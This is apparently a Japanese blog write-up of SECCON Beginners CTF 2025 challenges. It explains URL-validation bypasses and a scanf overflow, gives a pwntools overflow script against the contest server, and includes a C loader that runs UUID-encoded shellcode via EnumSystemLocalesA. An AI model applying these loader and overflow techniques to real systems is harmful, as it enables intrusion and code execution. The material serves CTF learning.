SECCON Beginners CTF 2025 writeup

解いたのだけ

ぴったり200位。pwnできないマン。

web

crypto

misc – kingyo_sukui

scooping! http://kingyo-sukui.challenges.beginners.seccon.jp:33333

ゲームの方には手を触れずソースコードを見ると encryptedFlagsecretKey がある。

decryptFlag 関数で復号しているので同じ処理をしてやればフラグを得られる。

みんな大好きCyerChefで解いた。secretKey のデコードと encryptedFlag の復号の2つに分けてやったが、1回で両方ともやる方法はあるのだろうか。

Flag: ctf4b{n47uma7ur1}

misc – url-checker

有効なURLを作れますか?

nc url-checker.challenges.beginners.seccon.jp 33457

与えられたコードを見ると、ホスト名が許可されたものと一致しない場合に startswith で判定し、Trueの場合にフラグを返している。なので example.com.jp などとしてやれば通る。

Flag: ctf4b{574r75w17h_50m371m35_n07_53cur37}

misc – url-checker2

有効なURLを作れますか? Part2

nc url-checker2.challenges.beginners.seccon.jp 33458

hostnamestartswith で判定しているのは変わらないが、netloc: で区切った最初の部分が許可されたホスト名になっているかどうかの判定が追加されている。netloc:// から / までの部分のことである。

一見ポート番号指定にも対応していて問題ないように見えるが、URLには認証のためにユーザ名とパスワードを埋め込むことができ、その個所は netloc 内で user:pass@host:port の形になる。ということはこの形式の場合は : で区切った最初の部分が user になるため、ここに許可されたホスト名を埋め込んでやればよい。

Flag: ctf4b{cu570m_pr0c3551n6_0f_url5_15_d4n63r0u5}

misc – Chamber of Echos

どうやら私たちのサーバが機密情報を送信してしまっているようです。 よーく耳を澄ませて正しい方法で話しかければ、奇妙な暗号通信を行っているのに気づくはずです。 幸い、我々は使用している暗号化方式と暗号鍵を入手しています。 収集・復号し、正しい順番に並べてフラグを取得してください。


暗号化方式: AES-128-ECB

復号鍵 (HEX): 546869734973415365637265744b6579

chamber-of-echos.challenges.beginners.seccon.jp

与えられたコードを見ると、フラグを複数に分割してAESで暗号化し、ICMPのレスポンスで送り出している(分割したうちのどれを送るかはランダム)。何分割されているかはわからないが多めに取れば全パターンあるだろうと、Wiresharkでキャプチャしつつpingを送信してみる。

1つのEcho requestに対してreplyが2つあるのはホストが送ってくる通常のリプライとこのプログラムによるリプライがあるため。ICMPデータが abcdefghijklmnopqrstuvwabcdefghi になっていないものがこのプログラムによるもの。

CyberChefで復号&フラグ復元プログラムを作ってICMPデータを登録していくと、3つでフラグが完成した。

Flag: ctf4b{th1s_1s_c0v3rt_ch4nn3l_4tt4ck}

reversing – CrazyLazyProgram1

改行が面倒だったのでワンライナーにしてみました。

与えられたコードを(手動で)整形するとこんな感じに。

using System;
class Program {
    static void Main() {
        int len=0x23;
        Console.Write("INPUT > ");
        string flag=Console.ReadLine();
        if ((flag.Length) != len) {
            Console.WriteLine("WRONG!");
        } else {
            if ( flag[0]  == 0x63 && flag[1]  == 0x74 && flag[2]  == 0x66 && flag[3]  == 0x34 &&
                 flag[4]  == 0x62 && flag[5]  == 0x7b && flag[6]  == 0x31 && flag[7]  == 0x5f &&
                 flag[8]  == 0x31 && flag[9]  == 0x69 && flag[10] == 0x6e && flag[11] == 0x33 &&
                 flag[12] == 0x72 && flag[13] == 0x35 && flag[14] == 0x5f && flag[15] == 0x6d &&
                 flag[16] == 0x61 && flag[17] == 0x6b && flag[18] == 0x33 && flag[19] == 0x5f &&
                 flag[20] == 0x50 && flag[21] == 0x47 && flag[22] == 0x5f && flag[23] == 0x68 &&
                 flag[24] == 0x61 && flag[25] == 0x72 && flag[26] == 0x64 && flag[27] == 0x5f &&
                 flag[28] == 0x32 && flag[29] == 0x5f && flag[30] == 0x72 && flag[31] == 0x33 &&
                 flag[32] == 0x61 && flag[33] == 0x64 && flag[34] == 0x7d) {
                Console.WriteLine("YES!!!\nThis is Flag :)");
            } else {
                Console.WriteLine("WRONG!");
            }
        }
    }
}

最後の if 文でフラグチェックしてるので True になるようにフラグを組み立ててやればOK

FLAG: ctf4b{1_1in3r5_mak3_PG_hard_2_r3ad}

reversing – CrazyLazyProgram2

コーディングが面倒だったので機械語で作ってみました

オブジェクトファイルが与えられるのでIDAに食わせてみると何か分岐の多い構造が見えるが、フラグ文字かどうか1文字ずつ判定しているだけなのでそれぞれの文字を抜き出してくればよい。

FLAG: ctf4b{GOTO_G0T0_90t0_N0m0r3_90t0}

reversing – D-Compile

C言語の次はこれ!

This is the next trending programming language!

※一部環境ではlibgphobos5が必要となります。 また必要に応じてecho -nをご利用ください。

Note:In some environments, libgphobos5 is required. Also, use the echo -n command as necessary.

IDAで開いて _Dmain を見たらフラグっぽいものが。

FLAG: ctf4b{N3xt_Tr3nd_D_1an9uag3_101}

reversing – wasm_S_exp

フラグをチェックしてくれるプログラム

WebAssemblyのテキストが与えられる。テキスト形式のWebAssemblyについては以下を参照。

stir 関数では以下の処理をしている

  1. パラメータで与えられた値と 0x5a5a をXORする
  2. 37をかける
  3. 23を足す
  4. 101で割った余りを求める
  5. 1024を足す

check_flag 関数では以下のような処理を繰り返している。最初のブロックのデータを使って説明。

  1. 38をパラメータに stir 関数を呼び出す
  2. 返り値を番地としてメモリアクセスして1バイト取得
  3. 0x7b と等しいかチェック
  4. 等しくなかったら 0 を返す
  5. 等しければ次に進む

最後まで来たら 1 が返される。要するにメモリにある文字列がフラグかどうかチェックしている。フラグを構成する文字は上記手順の3.で比較している値だが、チェック対象のメモリ番地は順番になっておらずバラバラである。

全部のメモリ番地を計算して並べ替えてやればいいだろう。社会人なので必須スキルのExcelを使って計算。

これをメモリ番地順に並べ替えるとフラグが得られる。

FLAG: ctf4b{WAT_4n_345y_l0g1c!}

reversing – MAFC

flagが欲しいかい?ならこのマルウェアを解析してみな。
Wanna get flag? if so, Reversing this Malware if you can

与えられたファイルは MalwareAnalysis-FirstChallenge.exeflag.encrypted の2つ。ファイル名から想像するに MalwareAnalysis-FirstChallenge.exe でフラグファイルを暗号化されたものが flag.encrypted であろう。実行ファイルを解析してフラグファイルを復号すればよいと思われる。

MalwareAnalysis-FirstChallenge.exe を解析すると非常にストレートなやり方で flag.txt をAESで暗号化していることがわかるので、鍵やIVなどのパラメータを同じものにして復号するプログラムを書いてやればよい。

#include <Windows.h>
#include <wincrypt.h>

int main(int argc, char** argv) {
	HANDLE enc, plain;
	HCRYPTPROV hProv;
	HCRYPTHASH hHash;
	HCRYPTKEY hKey;
	char keydata[] = "ThisIsTheEncryptKey";
	DWORD param = 1;
	DWORD filesize, numberofbytesread = 0;
	BOOL bRet;
	DWORD errcode;

	enc = CreateFileA("flag.encrypted", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	plain = CreateFileA("flag.txt", GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
	bRet = CryptAcquireContextW(&hProv, 0, L"Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, 0);
	bRet = CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash);
	bRet = CryptHashData(hHash, (BYTE *)keydata, strlen(keydata), 0);
	bRet = CryptDeriveKey(hProv, CALG_AES_256, hHash, 0x1000000u, &hKey);
	param = PKCS5_PADDING;
	bRet = CryptSetKeyParam(hKey, KP_PADDING, (BYTE *)&param, 0);
	bRet = CryptSetKeyParam(hKey, KP_IV, (BYTE *)L"IVCanObfuscation", 0);
	param = CRYPT_MODE_CBC;
	bRet = CryptSetKeyParam(hKey, KP_MODE, (BYTE *)&param, 0);

	filesize = GetFileSize(enc, 0);
	BYTE* filedata = (BYTE *)malloc(filesize);
	bRet = ReadFile(enc, filedata, filesize, &numberofbytesread, 0);
	bRet = CryptDecrypt(hKey, 0, 1, 0, filedata, &filesize);
	WriteFile(plain, filedata, filesize, &numberofbytesread, 0);

	return 0;
}

これを実行すると復号されたフラグが flag.txt に格納される。

FLAG: ctf4b{way_2_90!_y0u_suc3553d_2_ana1yz3_Ma1war3!!!} 

reversing – code_injection

ある条件のときにフラグが表示されるみたい。

PowerShellのファイルとテキストファイルが与えられる。テキストファイルの方にはUUIDが31個書かれている。PowerShellの方ではそれをUUIDとしてロードしてメモリに格納し、そのメモリ領域のアドレスを EnumSystemLocalesA 関数のパラメータとして与えている。

UUIDというのは128bitのデータであるため、内部的には16バイトのデータになる。このため、UUIDデータを格納した領域は16*31バイトの領域となる。

EnumSystemLocalesA 関数の第一パラメータに渡されたアドレスはコールバック関数として扱われる。すなわち、UUID 31個のデータを格納したメモリ領域の中身は関数として解釈できるということになる。

ではその関数を解析しよう。PowerShellファイルと同じ処理をするプログラムを作成し、IDAでデバッグして EnumSystemLocalesA 関数の実行直前で止める。

#include <windows.h>
#include <rpc.h>

#pragma comment(lib, "Rpcrt4.lib")

int main(int argc, char** argv) {
	UUID uuid[31];
	BYTE* data = (BYTE *)&uuid;
    DWORD numberofbyteswritten = 0;

    UuidFromStringA((RPC_CSTR)"56525153-4157-4150-5155-4889e54883e4", &uuid[0]);
    UuidFromStringA((RPC_CSTR)"ec8348f0-6530-8b48-0425-60000000488b", &uuid[1]);
    UuidFromStringA((RPC_CSTR)"8b482040-80b0-0000-0083-3e000f84a701", &uuid[2]);
    UuidFromStringA((RPC_CSTR)"3e810000-0043-0054-7526-817e04460034", &uuid[3]);
    UuidFromStringA((RPC_CSTR)"811d7500-087e-0042-3d00-7514837e0c31", &uuid[4]);
    UuidFromStringA((RPC_CSTR)"8b480e75-481e-e3c1-0848-895c2420eb06", &uuid[5]);
    UuidFromStringA((RPC_CSTR)"02c68348-c3eb-4865-8b04-256000000048", &uuid[6]);
    UuidFromStringA((RPC_CSTR)"4818408b-408b-4820-8b00-488b7850488b", &uuid[7]);
    UuidFromStringA((RPC_CSTR)"20b9481f-2000-2000-0020-004809cb48c1", &uuid[8]);
    UuidFromStringA((RPC_CSTR)"334808e3-245c-4820-8b00-488b78504803", &uuid[9]);
    UuidFromStringA((RPC_CSTR)"20b9481f-2000-2000-0020-004809cb4889", &uuid[10]);
    UuidFromStringA((RPC_CSTR)"4820245c-588b-8b20-433c-4801d88bb888", &uuid[11]);
    UuidFromStringA((RPC_CSTR)"48000000-df01-778b-2048-01de48ba0540", &uuid[12]);
    UuidFromStringA((RPC_CSTR)"7d454e56-2a08-8948-5424-104831c98b14", &uuid[13]);
    UuidFromStringA((RPC_CSTR)"da01488e-3a81-6547-7453-7514817a0474", &uuid[14]);
    UuidFromStringA((RPC_CSTR)"75614864-810b-087a-6e64-6c657502eb05", &uuid[15]);
    UuidFromStringA((RPC_CSTR)"ebc1ff48-8bd9-2477-4801-de668b0c4e8b", &uuid[16]);
    UuidFromStringA((RPC_CSTR)"01481c77-8bde-8e04-4801-d848ba5b403a", &uuid[17]);
    UuidFromStringA((RPC_CSTR)"13404150-4852-5489-2418-b9f5ffffffff", &uuid[18]);
    UuidFromStringA((RPC_CSTR)"c08949d0-ba48-5908-0314-1059096b4889", &uuid[19]);
    UuidFromStringA((RPC_CSTR)"778b2414-4820-de01-4831-c98b148e4801", &uuid[20]);
    UuidFromStringA((RPC_CSTR)"573a81da-6972-7574-1481-7a0465436f6e", &uuid[21]);
    UuidFromStringA((RPC_CSTR)"7a810b75-7308-6c6f-6575-02eb0548ffc1", &uuid[22]);
    UuidFromStringA((RPC_CSTR)"778bd9eb-4824-de01-668b-0c4e48ba1f72", &uuid[23]);
    UuidFromStringA((RPC_CSTR)"13044e56-681c-8948-5424-088b771c4801", &uuid[24]);
    UuidFromStringA((RPC_CSTR)"8e048bde-0148-48d8-83ec-30488d542430", &uuid[25]);
    UuidFromStringA((RPC_CSTR)"48c93148-f983-7404-124c-8b4c24504c33", &uuid[26]);
    UuidFromStringA((RPC_CSTR)"894cca0c-ca0c-ff48-c1eb-e84c89c149c7", &uuid[27]);
    UuidFromStringA((RPC_CSTR)"000020c0-4d00-c931-48c7-442420000000", &uuid[28]);
    UuidFromStringA((RPC_CSTR)"48d0ff00-c483-eb30-0048-31c04889ec5d", &uuid[29]);
    UuidFromStringA((RPC_CSTR)"58415941-5e5f-595a-5bc3-000000000000", &uuid[30]);

    BYTE* buf = (BYTE*)VirtualAlloc(NULL, 16 * 31, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    HANDLE hFile = CreateFileA("output.dat", GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
    for (int i = 0; i < 31; i++) {
        CopyMemory(buf + i * 16, &uuid[i], 16);
        WriteFile(hFile, &uuid[i], 16, &numberofbyteswritten, 0);
    }
    CloseHandle(hFile);

    EnumSystemLocalesA((LOCALE_ENUMPROCA)buf, 0);

    return 0;
}

その状態で buf の指すアドレスへ行きデータをコードとして解釈させるといい感じに関数にできる。

アセンブリコードをChatGPTに渡して解説させたらいい感じに出してくれた。

gs:60h はPEBだが +20h が何か、その先の +80h が何かといった情報が足りなかったので追加でPEBの構造などを聞いて確認。総合すると前半では環境変数に CTF4B=1 という文字列があるかどうかをチェックし、なかったら処理を終了している。

環境変数に CTF4B=1 を追加してプログラムを実行すると、コンソールにフラグが出力された。

FLAG: ctf4b{g3t_3nv1r0nm3n7_fr0m_p3b}

pwnable – pet_name

ペットに名前を付けましょう。ちなみにフラグは/home/pwn/flag.txtに書いてあるみたいです。

nc pet-name.challenges.beginners.seccon.jp 9080

与えられたソースコードを見るとペット名を入れるバッファは32バイトあるが、scanf で入力しているため32バイト以上読み込める。32バイトを超えた分は path 変数を上書きすることになる。

後続の処理で path 変数のファイルを開いて内容を出力しているため、path 変数にフラグファイルのパスを入れればフラグを取得できる。

Flag: ctf4b{3xp1oit_pet_n4me!}

pwnable – pet_sound

ペットに鳴き声を教えましょう。

nc pet-sound.challenges.beginners.seccon.jp 9090

nc で繋ぐとメモリレイアウトを表示してくれてさらに書き換え対象も “TARGET!” と指定してくれている。親切。ユーザの入力は pet_A->sound のため、pet_A->speak の書き換えはできない。指定されている通り pet_B->speak のところを speak_flag に書き換えてやればいい。nc でインタラクティブにやっているところでは非ASCII文字を入力できないため、Pythonコードを書いた。もし nc 使って解く方法があれば教えてほしい。

from pwn import *

conn = remote("pet-sound.challenges.beginners.seccon.jp", 9090)
while True:
    try:
        line = conn.recvline()
    except EOFError:
        break

    print(line.decode(errors = 'ignore'), end = '')

    if b"[hint]" in line:
        speak_flag_addr_str = line.split(b"0x")[1]
        speak_flag_addr = unhex(speak_flag_addr_str)[::-1]
        break

senddata = b"A" * 40 + speak_flag_addr
conn.send(senddata)

while True:
    try:
        line = conn.recvline()
    except EOFError:
        break
    print(line.decode(errors = 'ignore'), end = '')
Flag: ctf4b{y0u_expl0it_0v3rfl0w!}

pwnable – pivot4b

スタックはあなたが創り出すものです。

nc pivot4b.challenges.beginners.seccon.jp 12300

pwnへたくそマンは解けなかった。

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です

このサイトはスパムを低減するために Akismet を使っています。コメントデータの処理方法の詳細はこちらをご覧ください